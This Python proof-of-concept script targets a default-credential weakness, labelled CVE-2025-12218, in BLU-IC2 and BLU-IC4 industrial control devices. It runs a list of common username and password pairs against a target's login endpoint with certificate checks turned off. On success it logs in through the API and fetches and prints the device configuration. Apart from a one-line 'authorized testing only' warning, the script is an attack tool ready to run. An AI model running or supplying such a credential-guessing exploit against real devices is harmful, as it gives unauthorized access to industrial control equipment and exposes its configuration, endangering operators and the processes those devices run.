#!/usr/bin/env python3
"""
CVE-2025-12218 PoC - BLU-IC2/BLU-IC4 Default Credentials
This PoC demonstrates the weak default credentials vulnerability in BLU-IC2 and BLU-IC4 devices.
WARNING: Only use for authorized security testing.
"""
import requests
import sys
from requests.auth import HTTPBasicAuth
def check_default_credentials(target_ip, port=443):
"""
Check if target device has default credentials.
Common default credentials for industrial control devices.
"""
# Default credential pairs to test
default_creds = [
('admin', 'admin'),
('admin', 'password'),
('admin', '12345'),
('admin', 'admin123'),
('user', 'user'),
('root', 'root'),
('root', 'password'),
('administrator', 'administrator'),
('blu', 'blu'),
('bluic', 'bluic'),
('', '')
]
base_url = f"https://{target_ip}:{port}"
for username, password in default_creds:
try:
# Try to access the login endpoint or protected resource
response = requests.get(
f"{base_url}/login",
auth=HTTPBasicAuth(username, password),
verify=False,
timeout=10
)
# Check if authentication was successful
if response.status_code == 200 and 'dashboard' in response.text.lower():
print(f"[!] SUCCESS: Default credentials found!")
print(f" Username: {username}")
print(f" Password: {password}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error connecting to {target_ip}: {e}")
print("[-] No default credentials found or target not vulnerable")
return False
def exploit_weak_credentials(target_ip, port=443):
"""
Exploit weak default credentials to gain unauthorized access.
"""
print(f"[*] Attempting to exploit CVE-2025-12218 on {target_ip}")
# Try common default credentials
default_creds = [
('admin', 'admin'),
('blu', 'blu')
]
session = requests.Session()
for username, password in default_creds:
try:
# Attempt login
login_data = {
'username': username,
'password': password
}
response = session.post(
f"https://{target_ip}:{port}/api/login",
json=login_data,
verify=False,
timeout=10
)
if response.status_code == 200:
result = response.json()
if result.get('status') == 'success' or result.get('token'):
print(f"[!] Access granted with credentials: {username}:{password}")
# Try to access sensitive information
config_response = session.get(
f"https://{target_ip}:{port}/api/config",
verify=False
)
if config_response.status_code == 200:
print("[!] Successfully accessed device configuration")
print(f"[+] Configuration data: {config_response.text[:500]}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-12218.py <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
print(f"[*] CVE-2025-12218 PoC - BLU-IC2/BLU-IC4 Weak Default Credentials\n")
# Check for vulnerability
is_vulnerable = check_default_credentials(target, port)
if is_vulnerable:
print("\n[*] Attempting exploitation...")
exploit_weak_credentials(target, port)
else:
print("\n[-] Target does not appear to be vulnerable")